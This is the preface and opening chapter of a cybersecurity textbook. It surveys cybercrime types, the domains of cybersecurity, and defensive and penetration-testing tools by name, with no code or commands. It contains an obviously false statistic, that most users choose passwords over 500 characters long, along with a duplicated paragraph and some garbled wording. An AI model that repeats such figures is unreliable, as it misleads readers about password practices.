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Preface
In today’s digitally connected world, staying away from cyber threats is impera-
tive. The book Cybersecurity and Forensics: Advancement Tools and Techniques has 
been meticulously crafted to serve as the essential guide to navigating the intricate 
and ever-changing landscape of cybersecurity and digital forensics. In this compre-
hensive volume, we present a diverse collection of chapters that delve deep into the 
heart of the domain, offering you insights, strategies, and solutions to tackle the most 
challenging issues.

Our journey in the book covers 15 chapters, and the book is testament to the col-
laborative efforts of experts and practitioners around the world, each contributing 
their unique perspectives and insights to empower with the knowledge and tools in 
order to tackle the most pressing challenges in cybersecurity and digital forensics.

Whether you are an experienced professional looking to stay up-to-date or any 
corner looking to establish a strong foundation, then this book is your comprehensive 
resource.

Keshav Kaushik 
Mariya Ouaissa 

Aryan Chaudhary
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1.1 � INTRODUCTION

In the modern world, where commercial operations, business transactions, and 
government services are realized, open networks like the internet are becoming 
increasingly important to communities. This has caused the rapid emergence of new 
information security concerns and cyber threats that cybercriminals use. Mistrust 
in telecommunications and computer network technology have a significant socio-
economic impact on both oral and multinational corporations. It depends on which 
of the two is the primary target: the computer or the person utilizing it. As a result, 
to keep things simple, the computer is perceived as a target or a tool. Attacking the 
data and other resources on the computer, for instance, is what hacking means. It 
is essential to remember that overlap commonly occurs, making it challenging to 
create an accurate categorization system. Additionally, looking into events across 
international borders when international fraud occurs is frequently necessary. Many 
legal systems and jurisdictions often govern them. Data theft and cyberattacks ranked 
sixth and seventh, respectively, in terms of potential severity, in 2020 (“What Is 
Cybersecurity & Why Do We Need It | OneLogin” n.d.). Hackers still take advantage 
of the COVID-19 outbreak and the rise in remote employment in 2021. As a result, 
cyberattacks around the world have grown by 21%. Cybersecurity is essential to 
remain on top of such threats and threat actors. Enterprise IT systems are continu-
ously being scrutinized by cybercriminals for weaknesses. Organizations must adopt 
the appropriate cybersecurity tools, technologies, and staff to prevent falling prey to 
cyberattacks. Cybercrime prevention is becoming more challenging due to the rising 
complexity of the communication and networking infrastructure. Hence, new cyber-
security strategies are needed (Dashora 2011). Vulnerability is impacted by personal 
habits, personality factors, internet indoctrination, and attitudes toward technology, 
making mortal aspects a critical element of cybersecurity. Mental illness may make 
people more vulnerable to cybercrime (Monteith et al. 2021). Victims understanding 
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the risks involved with cybercrime is crucial because of its long-term psychological 
and financial implications. Mentally ill patients may not be aware of risk-reduction 
techniques, harmful online habits, or the consequences of cybercrime.

1.2 � BASICS OF CYBERCRIME

Cybercrime dangers must be understood in a computer-oriented crime, often known 
as cybercrime, since victims suffer long-term emotional and financial effects. 
Individuals with mental illnesses might need to see the impact of cybercrime, dan-
gerous internet activities, or risk-mitigation strategies. Cybercrime has grown in 
relevance as the computer has become essential to every area, including business, 
entertainment, and government. Cybercrime can endanger a person’s or a nation’s 
security and financial health. Cybercrime encompasses a vast range of actions, 
although they are roughly categorized into two types:

	 i.	 Criminal behavior using a computer network or device. Threats like viruses, 
bugs, denial-of-service (DoS) assaults, and many more are included in these 
crimes.

	 ii.	 Crimes done by using computer networks to commit other crimes. 
Cyberstalking, money fraud, and identity theft are examples of these crimes.

Cybercriminals may target particular people or groups and public and private institu-
tions. Cybercrime could be done to tarnish someone’s reputation, injure them physi-
cally, or even impair their minds. It is understanding different types of cyberattacks. 
It includes developing defensive techniques, or countermeasures, to protect all digital 
and information technology’s availability, confidentiality, and integrity.

	•	 Confidentiality
Information not being released to unapproved parties or systems is consid-
ered to maintain confidentiality.

	•	 Integrity
Integrity relates to preventing unauthorized modifications or deletions.

	•	 Availability
The term “availability” refers to the accessibility of information systems 
responsible for delivering, storing, and processing data, ensuring that indi-
viduals seeking information can readily obtain it.

1.3 � CLASSIFICATION OF CYBERCRIMES

	 i.	 Malware
A malware attack occurs when a malware, such as a computer virus, com-
promises a computer system or network. Cybercriminals may use malware-
infected computers for several activities. These include stealing sensitive 
details, committing crimes while using a computer, and causing data damage 
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(Landage and Wankhade n.d.). An example of a malware assault that is 
well known is the May 2017 worldwide WannaCry ransomware outbreak. 
WannaCry is an example of ransomware, which is software that encrypts 
the data or equipment of a victim to demand payment. The malware made 
use of a flaw in Microsoft Windows systems. Two hundred thirty thousand 
computers were affected by the WannaCry ransomware epidemic, which 
spread to 150 different nations. Users locked out of their data received a 
message demanding a Bitcoin ransom. According to estimates, the global 
cost of the WannaCry attack was US$4 billion (“What Was WannaCry? 
| WannaCry Ransomware | Malwarebytes” n.d.). Because of the attack’s 
enormous scale and breadth, it is still remembered.

	 ii.	 IoT Hacking
IoT attacks are cyberattacks that access consumers’ sensitive data via any 
IoT device. Attackers typically damage a device, spread malware on it, or 
gain access to additional personal information belonging to the company 
(Rostami et al. 2022). Since IoT devices are created to satisfy various orga-
nizational requirements, more stringent security protocols are required. 
Attackers have used this vulnerability to penetrate a company’s system via 
flimsy IoT devices. For instance, a hacker may access a company’s tempera-
ture management system via a security flaw in any IoT device. The rooms 
linked to the necessary gear may thus be heated or cooled.

	 iii.	 Password Attacks
Hackers attempt to access a password-protected computer, account, or file in 
this cyberattack. Software for password guessing or cracking is most often 
used. Because of this, it is crucial to use secure techniques when creating 
passwords, such as avoiding using nicknames, apartment locations, and pet 
names. These default passwords are too simple to figure out and simple to 
crack, especially by people who know you well (Subangan and Senthooran 
2019). If a hacker is nearby, they could use a combination of your name, 
your interests, important dates, or numbers to try to guess your password. 
When that fails, they look through a list of terms many individuals use as 
passwords using specialized software. Surprisingly, over 75% of internet 
users use passwords slightly longer than 500 characters. Think about how 
simple it would be for bad actors to access your sensitive information in 
light of this. Due to the need for an additional layer of security, two-factor 
authentication has become necessary. Examples of standard password attack 
methods include brute force, key loggers, credential stuffing, dictionary 
attacks, phishing, man-in-the-middle attacks, password spraying attacks, 
rainbow tables, etc. (“The 8 Most Common Types of Password Attacks | 
Expert Insights” n.d.).

	 iv.	 Botnets
Botnets are groups of compromised machines that are utilized in different 
internet frauds and assaults. Robots and networks are combined to form 
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the phrase “botnet.” A botnet is frequently generated during the infiltra-
tion phase of a multi-layer approach. Large-scale assaults, including the 
dissemination of malware, system failures, and data theft, are automated 
using bots. Botnets use your devices without your knowledge or permis-
sion to disrupt normal operations or con other people (Silva et al. 2013). 
Botnets enhance, automate, and accelerate hackers’ capacity to conduct 
more violent assaults. The damage a hacker can do on their local PCs is 
restricted, whether working alone or in a small group. But for very little 
money and minimal effort, people may acquire a ton of equipment for 
more productive tasks. A bot herder uses remote commands to lead a bunch 
of stolen devices. Following the bots’ compilation, a herder directs their 
other behavior via command programming. The individual may assume 
leadership responsibilities for establishing or renting the botnet. A zombie 
computer, or bot, is any malware-infected consumer device that has been 
taken over and used as part of the botnet. These devices operate aimlessly 
while following the instructions of the bot herder. There are generally three 
stages for this kind of attack: locate, exploit, and launch the assault (“What 
Is a Botnet?” n.d.).

	 v.	 Social Engineering
Social engineering refers to widely wicked acts via contact with other 
users who are persuaded psychologically to divulge personal data or vio-
late security. Attacks based on social engineering could take one or more 
of these phases. To prepare for a spell, a perpetrator first does a back-
ground study to learn more about possible access points and inadequate 
security. The attacker next tries to win over the victim’s confidence and 
offers incentives for later security-breaking activities, such as disclosing 
confidential information or allowing access to vital resources (Salahdine 
and Kaabouch 2019). Anywhere where a human connection is possible 
might be the target of a social engineering attack. Baiting, spyware and 
adware, spoofing, phishing, watering holes, tailgating, piggybacking, 
honey traps, diversion stealing, etc., are the most common digital social 
engineering assaults.

	 vi.	 Exploit
An “exploit” is a tool or code designed to find and exploit a security flaw 
or vulnerability in computer software or hardware, typically for nefarious 
purposes like malware distribution. An exploit is a technique that hackers 
employ to spread malware; it is not malware in and of itself (Alhathally 
et al. 2020). A visitor’s computer is automatically scanned for vulnerabili-
ties by exploit kits, programs included in hacked websites. If the exploit 
is successful, the package infects the user with a malware-infected com-
puter. Information security professionals are mainly concerned about their 
simplicity and user-friendly interface; non-expert users could install exploit 
kits. SQL injection attacks, cross-site scripting, and the exploitation of 
shoddy authentication schemes are the most pervasive web-based security 
weaknesses (Figure 1.1).
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1.4 � EMERGING THREATS

One of the outcomes of internet connectivity’s exponential rise, however, is the dra-
matic increase of cyberattacks, frequently with depressing results. Malware is the go-
to tool for committing acts of evil in the internet world, whether by utilizing special 
features of novel technology or taking advantage of current systems’ weaknesses. 
The cybersecurity community has considered creating more advanced and potent 
malware defensive methods necessary (Jang-Jaccard and Nepal 2014). The number 
of security incidents reported each year is increasing (“ENISA Threat Landscape 
2021 – Publications Office of the EU” n.d.). Consequently, they may cause substan-
tial financial harm. This underscores how crucial it is for businesses to be aware of 
the hazards and vulnerabilities in security.

Through their information systems and assets, employees who are aware of poten-
tial security risks and possess a broad understanding of information security compe-
tencies can help avoid security threats, as people are frequently seen as the weakest 
link in the information security chain (Abawajy 2012). Information systems are vul-
nerable to various security risks, which academics and practitioners categorize in 
multiple ways.

Any adverse event compromising the integrity or confidentiality of organiza-
tional assets, people, or organizations is called a “security threat.” Malware, cyber 
invasion, and advanced persistent threats (APTs) have intentionally interfered with 
networking systems and communication networks, interrupted guaranteed services, 
and degraded necessary networking hardware and cyberinfrastructure. Cyber threats 
are potentially harmful actions that disrupt daily operations, gain unauthorized 
access to private information, or jeopardize dependable information systems. Robust 
gateway defense techniques are required to defend edge networks against harmful 

FIGURE 1.1  Types of cybercrimes.
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cyberattacks (Qian, Hu, and Xu 2023). Cybersecurity is a problem for both internet 
services and information technology. Internet users must be aware of the various 
risks found online. Improving cybersecurity and economic growth are essential for 
a country’s security and prosperity. They safeguard sensitive data. Cybersecurity is 
critical to the study of computers. It discusses practices and technological security 
methods for protecting data resources, computer systems, records, machines, and 
numerous applications. Today, one of the most critical issues is data and information 
protection. Several management teams employ different strategies and businesses to 
stop and handle these cybercrimes (Afaq et al. 2022). In the modern day, cyber soci-
ety has developed into a regular and inevitable basis for information transmission 
and a variety of professional activities such as advertising, commercials, shopping, 
banking, and amenities. The usage of the internet has increased quickly, which has 
led to a sharp increase in cybercrime. The main reason for this increase is how 
widely online apps are used in almost every facet of life. In the modern day, cyber 
society has developed into a regular and inevitable basis for information transmis-
sion and a variety of professional activities such as advertising, commercials, shop-
ping, banking, and amenities. The usage of the internet has increased quickly, which 
has led to a sharp increase in cybercrime. The main reason for this increase is how 
widely online apps are used in almost every facet of life. Even though many tech-
niques and safeguards have been created to detect and stop cyberattacks, every 
industry still needs help finding them.

1.5 � CYBERSECURITY

Cybersecurity prevents hostile intrusions into data, mobile devices, servers, networks, 
electronic systems, and computers. It is also referred to as electronic information 
security or information technology security. There are many primary categories into 
which the expression might be split. Groupings are used in various situations, such as 
business and mobile computing. Studies show that more than 60% of companies use 
technology information. Security methods include virtual private networks (VPNs), 
security software, IPS, antivirus and anti-spyware software, and data encryption in 
transit. These investigations also reveal that organizations have often been victims 
of targeted assaults. According to the same report, escalating internal and external 
threats raise security risks. Security management is becoming more difficult as a 
result. In this context, businesses must employ techniques to focus their security 
efforts and maximize their limited resources. One system, though, might need to be 
improved (Mosteanu and Mosteanu 2020).

Artificial intelligence (AI)-based solutions for different cybersecurity applica-
tions have been worked on recently, partly because organizations are becoming more 
aware of how valuable AI is for reducing online dangers. It has been shown, for 
instance, that AI-based methods for describing nonlinear challenges perform well in 
nonlinear classification (Ozşen et al. 2009). This might also be used to classify inter-
net hazards. The interest in computing power-based AI solutions is influenced by 
improvements as well.
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1.6 � TYPES OF CYBERSECURITY

	 i.	 Application Security
To create application security, programs may be made more secure by 
incorporating and testing security measures that guard against dangers like 
unauthorized access and modification since contemporary apps are usually 
connected to the cloud and many networks. Application security is essential 
because it reduces the vulnerability of these systems to security threats and 
breaches. Due to mounting demand and incentives, security must now be 
ensured at the network level and within individual apps. One explanation 
is the increased frequency with which hackers attack applications today. 
Application security testing can reveal weaknesses at the application level, 
helping to prevent these attacks (Ahmad et al. 2021). Several application 
security elements include authorization, verification, logging, encryption, 
and application testing for safety.

	 ii.	 Network Security
Any action to safeguard your network’s usability and data integrity is called 
network security. Network security includes several levels of defense, 
both inside and at the periphery. Each network security layer implements 
policies and controls. Authorized users can access network resources, but 
malevolent users aren’t allowed to introduce vulnerabilities and hazards. 
Network security protects cyberspace’s information infrastructure, applica-
tion systems, and data resources. It is concerned with more than just the 
security of communication networks. Network security poses a more severe 
problem the more informative a society is; hence, network security must 
be considered more frequently during the design and operation of compe-
tent courts (Xu, Sun, and Chen 2022). Data sharing poses network security 
threats as the world’s information is progressively integrated. Thus, some 
researchers have started studying network security protection to safeguard 
people’s information security when they work and interact on the internet 
(Yu, Ye, and Li 2022). One of the most common technical options available 
is the intrusion detection system. Before the assault even starts, early detec-
tion and warnings may be able to halt network penetration and ensure the 
system’s security effectively.

	 iii.	 Cloud Security
Cloud security is a subfield of computer and network security governed by 
policy guidelines to secure the deployment of data, software applications, 
and related services in the cloud (Chen and Zhao n.d.). Cloud comput-
ing takes businesses to the next level: next-level customer service through 
improved data collection and storage, next-level flexibility through remote 
working and rapid scaling, next-level comfort through networked systems 
with quick file and data exchange, and so on. However, due to the haz-
ards of misconfiguration and the ever-present threat of cyber thieves, every 
company’s cloud infrastructure must be safe to function correctly. This is 
where cloud security comes into play (El Kafhali, El Mir, and Hanini 2022). 
With cloud security, you can improve your digital assets’ security while 
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mitigating the risks posed by human mistakes, decreasing the likelihood 
that an avoidable breach would result in a significant loss for your busi-
ness (“Why Is Cloud Security So Important?” n.d.). Any system’s capacity 
to self-protect security and privacy from the internet’s vital infrastructures, 
such as cloud computing, presents a difficulty. Several safe adaptive strate-
gies apply to any level of the underlying technology, from the fundamental 
computer infrastructure to hardware and software. A system must protect 
itself from numerous attacks or malicious users searching for vulnerabilities 
to be considered secure.

	 iv.	 IoT Security
An IoT device is a physically linked, networked device that is not a com-
puter. IoT security issues are less well understood, and protecting IoT is a 
challenge many firms have yet to solve. Enterprise IT teams use conven-
tional network security techniques and technology to safeguard standard IT 
devices. IoT security is a cybersecurity strategy and deterrent against attacks 
on physically linked devices. Traditional cybersecurity solutions cannot 
detect and discriminate between the many different types of IoT devices, 
much less their unique risk profiles and anticipated behaviors. Without ade-
quate security, every connected IoT device is vulnerable to hacking, infiltra-
tion, and control by a cybercriminal. This might ultimately enable them to 
breach networks, steal user data, and bring them down—the fundamental 
problem. The attack surface is expanding quickly regarding IoT security as 
the web grows more varied and more IoT devices are added. The integrity 
and security of the least secure device ultimately determine the network’s 
overall security (“What Is IoT Security? - Palo Alto Networks” n.d.).

	 v.	 Infrastructure Security
Infrastructure security is a method for protecting critical infrastructure from 
real and virtual hazards. This frequently comprises physical and software 
resources, including hardware for end users, data center resources, network-
ing infrastructure, cloud resources, and other related items from an IT per-
spective. Businesses rely on their technology resources to keep running; thus, 
protecting the infrastructure means covering the entire organization. Many 
firms get significant competitive advantages from proprietary data and intel-
lectual property (IP), and any loss or disruption of access to this information 
can severely affect a company’s profitability (Zhang et al. 2022a). Phishing 
efforts, ransomware assaults, distributed denial-of-service (DDoS) vulnera-
bilities, and Internet of Things (IoT) botnets are just a few of the cyber threats 
to technological infrastructure (Omolara et al. 2022). Natural disasters, 
including physical dangers, comprise theft or destruction of hardware assets, 
fires and floods, civil unrest, and power outages. Any of these can disrupt 
business, harm a company’s reputation in the public eye, and have serious 
financial repercussions. Protecting the resources that enable these activities 
becomes more critical as companies conduct their operations digitally and 
depend more on data to guide important business choices. Furthermore, as 
more users access essential organizational information, IP is disseminated 



Advanced Cybersecurity Tools and Techniques� 9

globally across unprotected public networks. Many businesses’ attack sur-
faces grow increasingly porous to incursions as over edge and cloud; more 
data is produced and used. Criminals, hacktivists, hostile national-state 
actors, terrorists, and other groups are increasingly targeting businesses of 
all sizes around the globe and across all economic sectors. Additionally, 
not all security threats are meant to do damage; errors made by humans 
and natural disasters may jeopardize the integrity of a company’s digital 
infrastructure. A plan to handle physical and cybersecurity across all crucial 
systems and assets, including those at the edge and in the cloud, is necessary 
to operate in the present digitally connected world (“What Is Infrastructure 
Security? | Glossary | HPE” n.d.) (Figure 1.2).

1.7 � TOOLS AND TECHNIQUES

In our modern age, technology, software, computers, and networks have almost taken 
over our lives. The need for cybersecurity and its numerous software, which may 
assist in defending the systems and networks from all forms of harmful activities, 
has risen due to the growth in security threats that sneak past the systems. Due to the 
volume of private information and financial records that firms routinely import into 
their systems, cybersecurity has been elevated to the top of their list of priorities.

1.7.1 � Cybersecurity Tools and Their Classification

Cybercrimes are rising due to the constant demand for technology to do practically 
all tasks. Here is a list of cybersecurity tools that a cybersecurity analyst may use to 
protect the privacy of the company’s data and avoid various data breaches, financial 
loss, etc. These tools can be purchased or downloaded for free or are open source. 

FIGURE 1.2  Types of cybersecurity.
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Most cybersecurity products fall into one of many categories. The following is a list 
of the categories into which these tools may be divided:

Pen-testing Tools
Tools for penetration testing, or “pen testing,” are essential for assessing the 
security of systems. To test if they can circumvent the defenses, these pro-
grams mimic various attacks on various devices. These tests will highlight 
weaknesses one might have yet to discover. A firm or organization should 
hire a pen tester, an ethical hacker. Because administrators might not have 
the time to perform these kinds of duties frequently or to understand the ins 
and outs of pen testing, although there are many pen-testing tools available 
(including Metasploit, John the Ripper, Hash cat, Hydra, Burp Suite, Zed 
Attack Proxy, SQL map, and Aircrack-ng), the best option suggested may 
be to use a full-featured operating system designed specifically for penetra-
tion testing (like Kali Linux) (Chiem 2014), which comes with most of the 
pen-testing tools that will be needed for successful vulnerability tests.

Packet Sniffers
Any data that must be sent across a computer network is split up into data 
packets at the sending node and then put back together at the receiving 
node in the original format. It is the most minor possible form of computer 
network communication. It may also be called a cell, block, segment, or 
datagram. Intercepting data packets as they pass over a computer network 
is known as packet sniffing (Asrodia and Patel n.d.). It is akin to eavesdrop-
ping on telephone networks. Crackers and hackers mostly use it to steal 
network information. Governments, advertisers, and ISPs all make use of 
it. Utilizing instruments called “packet sniffers,” packet sniffing is done. 
Either filtration or infiltration is possible. When just particular data packets 
need to be collected, filtering is used; when all packages need to be caught, 
unfiltering is used. Tools for packet sniffing include Auvik, SolarWinds 
Network Packet Sniffer, Wireshark, Paessler PRTG, ManageEngine 
NetFlow Analyzer, Tcpdump, WinDump, NetworkMiner, and SmartSniff 
(Chiem 2014).

Password Cracking Tools
Passwords are the most prevalent type of user identification. People use 
passwords because they understand the reasoning behind them, and develop-
ers can implement them quite easily. Passwords, on the other hand, can pose 
security flaws. Password crackers are meant to recover passwords from cre-
dential data collected in a data breach or other incident. A popular strategy 
(brute-force attack) is frequently trying password guesses and contrasting 
them with a readily available cryptographic hash of the password. Password 
spraying is another generally automated strategy that occurs slowly over 
time to remain unnoticed, employing a list of common passwords (Zhang 
et al. 2021). Most password-cracking or password-finding tools allow hack-
ers to carry out any of these assaults. John the Ripper, Hashcat, Wfuzz, 
Brutus, Medusa, THC Hydra, RainbowCrack, OphCrack, Aircrack-ng, 
Burpsuite, etc., of the most widely used password-cracking tools.
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Web Vulnerability Scanning Tools
Web applications are now an essential part of our daily lives. People use 
web applications for information gathering, communication, e-commerce, 
and other purposes. Because they hold crucial and sensitive information, 
assaults on them have escalated to discover holes and steal data. The appli-
cation layer is still the most targeted in today’s security landscape. Web 
vulnerability scanners are the most effective technique to keep hostile hack-
ers out of your web application. Manual testing cannot keep up with the 
increased number of assaults. Automated security testing technologies are a 
must for safeguarding today’s online applications. As a result, it is critical to 
check web application vulnerabilities to ensure their security. Web applica-
tion scanners are automated programs that fit online applications for secu-
rity flaws such as Cross-site scripting, SQL Injection, Command Injection, 
Path Traversal, and vulnerable server setup (Amankwah et al. 2020). These 
are the few web vulnerability tools used for scanning: Acunetix, Skipfish, 
Vega, Zed Attack Proxy, Wapiti, WebScarab, W3af, Grabber, and Ratproxy 
(“Vulnerability Scanning Tools | OWASP Foundation” n.d.).

Antivirus Software
Antivirus software shields a computer system from online dangers such as 
viruses, spyware, malware, Trojan horses, phishing scams, rootkits, and 
spam. An unprotected system is comparable to a house with an unlocked 
door. An exposed, unprotected door will attract all trespassers and robbers. 
Similarly, an unprotected PC welcomes every single virus into the network. 
An antivirus will protect your computer by acting as a locked door with a 
security guard, fending off all hazardous entering viruses (Kate et al. n.d.). 
Since computers are used daily in businesses, appropriate virus protection 
is essential. A virus might make a computer unusable. Computer viruses are 
more destructive and complicated than ever. There are numerous antivirus 
software available, both paid and free, and everyone’s recommendation and 
preference may differ; here are a few examples of popular antivirus soft-
ware: Norton 360 with LifeLock, Malwarebytes, Bitdefender, Trend Micro 
Antivirus+ Security, and McAfee Antivirus Plus.

Encryption Tools
Data or files are encrypted using encryption software and one or more 
encryption techniques. Security workers utilize it to block illegal access to 
data. A key is often required to unlock an encrypted file or data packet and 
restore it to its original state: the transmitter and the recipient of the data or 
file exchange this key created by the application. The data cannot be recov-
ered without the encryption key, even if it is erased or compromised. Many 
different forms of encryption software are used today, including network, 
disc, email, and file encryption (Maglaras et al. n.d.). There are thousands 
of varying encryption programs, both free and paid, accessible online. Each 
organization and person can use another program. However, a few of the 
more prevalent and well-liked ones are as follows: AxCrypt, IBM Security 
Guardium, VeraCrypt, NordLocker, Boxcryptor, CryptoForge, 7-Zip, and 
more cryptographic software.
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Network Scanning
Network scanning may evaluate an organization’s IT infrastructure to find 
gaps or vulnerabilities. A thorough network scan aids in estimating risks and 
formulating a plan for fixing the problem. In other words, network scanning is 
crucial to the network’s overall health. It encompasses all hardware, network-
ing interfaces, filtering architectures, running hosts, operating systems, and 
traffic. Additionally, it detects TCP sequence numbers on active hosts, scans 
ports, and looks for UDP and TCP services on networks. Employing sophis-
ticated and intelligent network scanning tools is usually essential for the best 
outcomes. It might be described as the instruments used to scan the web for 
existing vulnerabilities. The main goal of the network scan is to look for net-
work device security misconfigurations. Utilizing outdated versions of any 
service is another factor that frequently results in network vulnerability. The 
Linux operating system’s command-line utilities or a few cloud-based ser-
vices might be used to execute the network scanning. Some examples of tools 
are network scanners Nmap, Qualys, Nikto, Zenmap, OpenVAS, Acunetix, 
Wireshark, Tcpdump, Snort, NetworkMiner, and Splunk (Figure 1.3).

1.7.2 �N ecessary Cybersecurity Technologies and Methods

In a highly linked, information- and communication-dependent society, timely and 
pertinent data may lead to more informed decisions in any area, particularly cyberse-
curity. Software solutions that may gather specific information, familiarize you with 
the ICT infrastructure and connect it to international cybersecurity organizations 
have made public cybersecurity data (vulnerabilities, severity, repair methods, etc.) 
accessible. These tools employ measurements, standards, procedures, and techniques 
related to cybersecurity to recognize, comprehend, and foresee possible issues with 
corporate cybersecurity. They also provide beneficial guidance for information and 
security management in modern enterprises (Roldán-Molina et al. 2017).

FIGURE 1.3  Cybersecurity tools.
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High-profile breaches continue to happen despite an increased understanding of 
cybersecurity’s importance to businesses and governments. An important question is 
how cybersecurity technologies, a type of automated agent, allow human operators 
to react to security threats (Brown, Christensen, and Schuster 2016). The significant 
harm these cyberattacks inflicted prompted the design and installation of cybersecu-
rity systems. It is necessary to create brand-new, cutting-edge cyber defense systems 
outfitted with tools, algorithms, and protocols that are significantly more effective.

Some ransomware attacks and weaknesses caused by the increased use of cloud 
services are examples of emerging hazardous security issues that are further raised 
by the emergence of the Internet of Things (IoT), which includes smart home gadgets 
and possible 5G security holes. Some of the most widely used cybersecurity tech-
nologies are as follows:

Behavioral analytics monitors user activity across networks, systems, and mobile 
applications by analyzing data. It helps cybersecurity specialists identify potential 
risks and vulnerabilities. By analyzing patterns, behavioral analytics can detect 
unusual events and behaviors that indicate cybersecurity threats, such as a single 
device generating excessive data, which may be a sign of a cyberattack. The unusual 
timing of events and abnormal sequences of actions can also indicate malicious 
intent. By utilizing behavioral analytics, businesses can proactively anticipate and 
mitigate potential attacks, automating detection and response processes.

Cloud encryption is a security measure used to protect data when it is stored 
remotely in cloud services. Before data is sent to the cloud, it is converted into an 
unreadable code using encryption technology. Cybersecurity professionals employ 
mathematical algorithms to perform cloud encryption. Only authorized users with 
data decryption keys can transform the data back into a readable form, reducing the 
risk of unauthorized access and data compromise. Cloud encryption is considered an 
effective cybersecurity tool for safeguarding data and preventing unauthorized indi-
viduals from accessing valuable information. Moreover, it enhances consumer trust 
in cloud services and facilitates compliance with regulatory requirements.

Blockchain technology involves storing data blocks securely in a blockchain data-
base, where each block is connected through cryptography. Cybersecurity specialists 
utilize blockchain to protect computers and hardware, establish industry-standard 
security protocols, and significantly mitigate database hacking risks. Data stored in 
the blockchain can be accessed but not altered or deleted, providing benefits such as 
improved user privacy, reduced human errors, enhanced transparency, and cost sav-
ings by eliminating the need for third-party verification. Additionally, blockchain 
addresses the security concerns associated with centralized data storage by distribut-
ing data across networks, creating a decentralized system that is less susceptible to 
hackers. However, blockchain technology has drawbacks, including high costs and 
inefficiencies that need to be addressed.

1.7.3 �AI -based Tools for Cybersecurity

AI-enhanced cybersecurity is more than simply a fad. It’s becoming a need (Zhang 
et al. 2022b). The United States alone needs 715,000 more cybersecurity workers 
to meet the current market, and even then, it would be challenging to find and fix 
vulnerabilities in a timely manner (Zhang et al. 2022b). AI can automate essential 
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security procedures to enable businesses to work more effectively with fewer staff 
members. As more industries adopt digital technology, this requirement is increas-
ing. Internet of Things (IoT) technology is already being used in sectors like con-
struction, where one in five worker fatalities occur, to improve safety. However, they 
do allow for cyberattacks. These firms need all the help they can get to be safe since 
they lack the knowledge to deal with these risks. AI provides the answer. Machine 
learning cybersecurity solutions, in conjunction with a business’s enormous technical 
experience, are essential for protecting ever-more-complex networks. By leveraging 
these technologies, businesses can fully embrace the potential of current technolo-
gies without the constant worry of hacking threats. The field of information security 
heavily relies on AI and machine learning (ML) to combat malicious software, zero-
day vulnerabilities, and dangerous activities like downloading malware or falling 
victim to phishing schemes. AI and ML algorithms have the capability to swiftly 
analyze millions of events and identify a wide range of risks. These algorithms con-
tinuously improve over time and utilize historical data to detect emerging threats. 
By building profiles based on past behavior of individuals, resources, and networks, 
AI can detect anomalies and respond effectively. In comparison, manual techniques 
need to enhance their speed, accuracy, and comprehension. By embracing these tech-
nologies, businesses significantly enhance their ability to defend against the ever-
evolving landscape of cybercrime.

With advanced and proactive security measures, individuals can fully leverage 
new technologies such as the Internet of Things (IoT) and cloud computing without 
compromising security. Artificial intelligence has evolved to become a critical tool 
for supporting human information security teams in their operations. AI provides 
essential analysis and threat detection capabilities that cybersecurity professionals 
can utilize to mitigate breaches and enhance overall security posture. Given the 
dynamic nature of corporate attack surfaces, human monitoring alone is insufficient, 
and AI fills this gap. AI can effectively handle incident response, identify security 
risks, rapidly detect malware within a network, and predict intrusions before they 
occur. By leveraging AI and establishing effective human-machine partnerships, 
businesses can advance their knowledge, cybersecurity practices, and overall quality 
of life in ways surpassing individual components’ capabilities.

1.7.4 � Cybersecurity Automation Tools

Development teams may quickly embrace on-demand resources from automated 
security services. Application security should be implemented early in application 
development to save time and money. The earliest chance to create a secure founda-
tion is through security requirements. The foundation for subsequent security activ-
ities like safe code examples and security testing may be laid by automating the 
alignment of security requirements to the system and project properties. Depending 
on whether historical or contemporary development processes are employed, auto-
mated testing services provide development teams with choices for vulnerability 
assessment later in the development process. On-demand source code scanning that 
does not need tool setup or configuration might be helpful for legacy development 
projects. Incorporating security testing into automated build-and-test pipelines with 
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functioning example scripts is more suited to contemporary development methods 
(Kennedy et al. n.d.). Mechanical application security services can be helpful tools 
for development teams that improve security results if they are developed with their 
needs in mind to promote improved security.

Tools like Security Configuration Management (SCM) keep track of and modify 
system configuration. This is accomplished by outlining the arrangements for the 
systems that are required. Additionally, monitoring specific designs makes modifica-
tions automatically when unauthorized changes are made. Afterward, keep an eye on 
such adjustments and, if necessary, roll them back. Like SCM tools, vulnerability 
management tools concentrate on vulnerabilities rather than configuration settings. 
These programs can check hosts for open ports, out-of-date software or patches, 
missing patches or updates, etc. To identify breaches from hostile insiders or outside 
users within an organization, NIDS analyzes network traffic. Port scanning, denial-
of-service attacks, flooding assaults, packet sniffing, and other suspicious behavior 
can all be picked up by it. Then there are tools for penetration testing that can check 
hosts for open ports, out-of-date software or patches, updates that aren’t installed, 
etc. They are comparable to vulnerability scanning tools, but instead of concentrating 
on configuration problems or vulnerabilities, they target penetration or brute-force 
assaults.

Using security logging tools, administrators may monitor network activity by 
monitoring resource access. It can monitor user activity, system activity, resource 
utilization, etc. It may also be utilized for post-mortem analyses of security incidents. 
Various log data sources, such as firewall logs, web server logs, database logs, proxy 
logs, router logs, etc., can be used to gather log data. Additionally, records may be 
collected at various granularity levels, including host, application, and transaction 
levels, as necessary. Syslog and XML formats are only two of the numerous log 
formats.

Businesses may help discover potential security risks and defects using a security 
technology called SIEM before they can affect routine business operations. For use 
cases in security and compliance management, it identifies unusual user behavior and 
applies AI to various manual procedures involved in threat assessment and incident 
response. It has become a mainstay in contemporary security operation centers 
(SOCs) (Kennedy et al. n.d.). Using SIEM solutions allows for collecting all security-
related data from numerous sources in one location for analysis. SIEM tools gather 
information from many sources, such as firewall and database logs, normalize it into 
a standard format, and then store it in the SIEM repository for further analysis 
(Fanuscu, Kocak, and Alkan 2022). Correlating various occurrences also aids in 
identifying more significant risks for more research. For administrators to take the 
necessary steps to reduce the risks posed by known threats, SIEM technologies also 
give threat intelligence based on the information gathered about those threats.

1.7.5 � Cybersecurity Tool Applications

Cybersecurity threats vary over time, and firms must adapt to tackle them. Hackers 
adapt when new defenses are implemented to combat more recent attacks by invent-
ing new tools and techniques to breach security. The cybersecurity of a company’s 
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weakest link determines how strong it is. To safeguard data and networks, businesses 
require a range of cybersecurity tools and practices. Several key cybersecurity appli-
cation examples are shown next:

Network Security Monitoring
Network security monitoring guards you against a wide range of potential 
vulnerabilities and assaults in the wild, while network monitoring gathers 
data to study core traffic patterns, general system structure, and integrity. 
It is vital to note that an attacker can compromise and exfiltrate data in 
minutes. As a consequence, the effectiveness of a network security monitor-
ing system is inversely related to its speed. Whether the system constantly 
keeps track of data in motion or at rest, managers are alerted to suspicious 
traffic. There is a large selection of commercially available network moni-
toring tools, some of which are also free and open source, so more excellent 
